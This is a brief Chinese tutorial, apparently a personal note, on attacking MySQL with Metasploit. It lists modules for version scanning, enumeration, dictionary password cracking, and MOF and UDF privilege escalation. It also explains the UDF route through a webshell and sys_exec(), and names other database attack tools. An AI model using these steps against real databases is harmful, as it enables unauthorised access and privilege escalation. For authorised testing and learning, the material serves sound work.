一 简介 Metasploit是一款可以从多种角度进行勘测的渗透工具
二 使用
1 安装
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
2 使用
msfconsole 进入终端
3 特定命令
1 扫描mysql版本
use auxiliary/scanner/mysql/mysql_version
2 获取相关信息(包括数据库数据目录和相关用户等)
use auxiliary/admin/mysql/mysql_enum
3 密码字典暴露破解
use auxiliary/admin/mysql/mysql_sql
set pass_file "/root/top10000pwd.txt"
run
4 根据用户密码提权
use exploit/windows/mysql/mysql_mof
run
5 udf 提权
exploit/multi/mysql/mysql_udf_payload
run
6 将mysql_schem导出到本地 /root/.msf4/loot/文件夹下
use auxiliary/scanner/mysql/mysql_schemadump
三 常用命令
1 search mysql 查找mysql相应模块
2 凡是没有标注的都需要填写用户名等信息
四 补充
1 udf提权
1 UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
2 需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录,创建类似xCzaUwje.so这样的文件
3 调用 sys_exec(),需要创建触发器获取插件目录和进入mysql库权限
4 执行前提
1.获得一个数据库账号,拥有对MySQL的insert和delete权限。以root为佳。
2.拥有将udf.dll写入相应目录的权限。
3 需要mysql 5.7 开启 secure_file_priv 为非NULL,以下是补充
secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录。
secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。
secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
五 总结
1 不同权限用户的泄漏会导致不同的信息模块的收集,有些可能会因为权限不足执行失败
2 对于某些漏洞的扫描大多基于特定版本,比较落后,没有什么参考必要
六 推荐网站
https://www.freebuf.com/
七 补充一些其他数据库的工具
1 oracle
Oscanner tnscmd10g sidguesser
2 sql-sever
mdb-sql sqldict sqlninja
3 sql渗透测试 sqlmap